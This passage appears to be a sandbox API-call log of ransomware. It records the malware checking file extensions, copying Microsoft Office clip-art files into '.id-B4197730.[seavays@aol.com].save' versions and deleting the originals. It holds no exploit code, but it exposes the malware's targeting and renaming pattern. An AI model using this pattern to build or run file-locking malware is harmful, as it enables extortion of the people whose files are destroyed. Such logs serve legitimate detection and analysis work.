(lpString=".zip") returned 4 [0189.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.519] lstrlenW (lpString=".rar") returned 4 [0189.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.519] lstrlenW (lpString=".bz2") returned 4 [0189.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.519] lstrlenW (lpString=".7z") returned 3 [0189.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0189.520] lstrlenW (lpString=".dbf") returned 4 [0189.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0189.520] lstrlenW (lpString=".1cd") returned 4 [0189.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0189.520] lstrlenW (lpString=".jpg") returned 4 [0189.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.522] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=19274) returned 1 [0189.522] CloseHandle (hObject=0x534) returned 1 [0189.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf")) returned 0x220 [0189.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0189.524] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.524] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0189.527] GetLastError () returned 0x0 [0189.527] ReadFile (in: hFile=0x534, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4b4a, lpOverlapped=0x0) returned 1 [0189.529] WriteFile (in: hFile=0x568, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4b50, lpOverlapped=0x0) returned 1 [0189.531] ReadFile (in: hFile=0x534, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.531] WriteFile (in: hFile=0x568, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.531] SetEndOfFile (hFile=0x568) returned 1 [0189.532] CloseHandle (hObject=0x568) returned 1 [0189.532] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.532] SetEndOfFile (hFile=0x534) returned 1 [0189.665] CloseHandle (hObject=0x534) returned 1 [0189.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf")) returned 1 [0191.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0191.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0191.278] lstrlenW (lpString=".doc") returned 4 [0191.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.279] lstrlenW (lpString=".docx") returned 5 [0191.279] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.279] lstrlenW (lpString=".pdf") returned 4 [0191.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.279] lstrlenW (lpString=".xls") returned 4 [0191.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.279] lstrlenW (lpString=".xlsx") returned 5 [0191.279] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.280] lstrlenW (lpString=".ppt") returned 4 [0191.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0191.280] lstrlenW (lpString=".zip") returned 4 [0191.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.280] lstrlenW (lpString=".rar") returned 4 [0191.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.280] lstrlenW (lpString=".bz2") returned 4 [0191.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.280] lstrlenW (lpString=".7z") returned 3 [0191.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0191.280] lstrlenW (lpString=".dbf") returned 4 [0191.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0191.280] lstrlenW (lpString=".1cd") returned 4 [0191.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0191.280] lstrlenW (lpString=".jpg") returned 4 [0191.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.696] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=24238) returned 1 [0191.696] CloseHandle (hObject=0x550) returned 1 [0191.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 0x220 [0191.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0191.887] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.888] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0191.889] GetLastError () returned 0x0 [0191.889] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x5eae, lpOverlapped=0x0) returned 1 [0191.892] WriteFile (in: hFile=0x56c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x5eb0, lpOverlapped=0x0) returned 1 [0191.895] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.895] WriteFile (in: hFile=0x56c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.895] SetEndOfFile (hFile=0x56c) returned 1 [0191.896] CloseHandle (hObject=0x56c) returned 1 [0191.896] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.896] SetEndOfFile (hFile=0x510) returned 1 [0191.900] CloseHandle (hObject=0x510) returned 1 [0191.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 1 [0191.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0191.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0191.903] lstrlenW (lpString=".doc") returned 4 [0191.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.903] lstrlenW (lpString=".docx") returned 5 [0191.903] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0191.903] lstrlenW (lpString=".pdf") returned 4 [0191.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.903] lstrlenW (lpString=".xls") returned 4 [0191.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.903] lstrlenW (lpString=".xlsx") returned 5 [0191.903] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0191.903] lstrlenW (lpString=".ppt") returned 4 [0191.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0191.903] lstrlenW (lpString=".zip") returned 4 [0191.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.904] lstrlenW (lpString=".rar") returned 4 [0191.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.904] lstrlenW (lpString=".bz2") returned 4 [0191.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.904] lstrlenW (lpString=".7z") returned 3 [0191.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0191.904] lstrlenW (lpString=".dbf") returned 4 [0191.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0191.904] lstrlenW (lpString=".1cd") returned 4 [0191.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0191.904] lstrlenW (lpString=".jpg") returned 4 [0191.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.906] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=8578) returned 1 [0191.906] CloseHandle (hObject=0x510) returned 1 [0191.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 0x220 [0191.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0191.908] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.909] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0191.910] GetLastError () returned 0x0 [0191.910] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2182, lpOverlapped=0x0) returned 1 [0191.914] WriteFile (in: hFile=0x56c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2190, lpOverlapped=0x0) returned 1 [0191.916] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.916] WriteFile (in: hFile=0x56c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.916] SetEndOfFile (hFile=0x56c) returned 1 [0191.917] CloseHandle (hObject=0x56c) returned 1 [0191.917] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.917] SetEndOfFile (hFile=0x510) returned 1 [0191.921] CloseHandle (hObject=0x510) returned 1 [0191.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 1 [0191.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0191.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0191.925] lstrlenW (lpString=".doc") returned 4 [0191.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.925] lstrlenW (lpString=".docx") returned 5 [0191.925] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.925] lstrlenW (lpString=".pdf") returned 4 [0191.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.925] lstrlenW (lpString=".xls") returned 4 [0191.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.925] lstrlenW (lpString=".xlsx") returned 5 [0191.925] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.925] lstrlenW (lpString=".ppt") returned 4 [0191.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0191.926] lstrlenW (lpString=".zip") returned 4 [0191.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.926] lstrlenW (lpString=".rar") returned 4 [0191.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.926] lstrlenW (lpString=".bz2") returned 4 [0191.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.926] lstrlenW (lpString=".7z") returned 3 [0191.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0191.926] lstrlenW (lpString=".dbf") returned 4 [0191.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0191.926] lstrlenW (lpString=".1cd") returned 4 [0191.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0191.926] lstrlenW (lpString=".jpg") returned 4 [0191.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.117] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.117] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0192.120] GetLastError () returned 0x0 [0192.120] ReadFile (in: hFile=0x434, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x37e4, lpOverlapped=0x0) returned 1 [0192.123] WriteFile (in: hFile=0x510, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x37f0, lpOverlapped=0x0) returned 1 [0192.125] ReadFile (in: hFile=0x434, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.125] WriteFile (in: hFile=0x510, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.125] SetEndOfFile (hFile=0x510) returned 1 [0192.126] CloseHandle (hObject=0x510) returned 1 [0192.126] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.126] SetEndOfFile (hFile=0x434) returned 1 [0192.131] CloseHandle (hObject=0x434) returned 1 [0192.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf")) returned 1 [0192.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0192.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0192.134] lstrlenW (lpString=".doc") returned 4 [0192.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.134] lstrlenW (lpString=".docx") returned 5 [0192.134] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0192.134] lstrlenW (lpString=".pdf") returned 4 [0192.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.134] lstrlenW (lpString=".xls") returned 4 [0192.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.134] lstrlenW (lpString=".xlsx") returned 5 [0192.134] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0192.134] lstrlenW (lpString=".ppt") returned 4 [0192.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0192.134] lstrlenW (lpString=".zip") returned 4 [0192.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.134] lstrlenW (lpString=".rar") returned 4 [0192.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.134] lstrlenW (lpString=".bz2") returned 4 [0192.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.134] lstrlenW (lpString=".7z") returned 3 [0192.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0192.135] lstrlenW (lpString=".dbf") returned 4 [0192.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0192.135] lstrlenW (lpString=".1cd") returned 4 [0192.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0192.135] lstrlenW (lpString=".jpg") returned 4 [0192.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.136] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=33850) returned 1 [0192.136] CloseHandle (hObject=0x434) returned 1 [0192.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 0x220 [0192.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0192.138] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.138] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0192.140] GetLastError () returned 0x0 [0192.140] ReadFile (in: hFile=0x434, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x843a, lpOverlapped=0x0) returned 1 [0192.144] WriteFile (in: hFile=0x510, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x8440, lpOverlapped=0x0) returned 1 [0192.146] ReadFile (in: hFile=0x434, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.146] WriteFile (in: hFile=0x510, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, 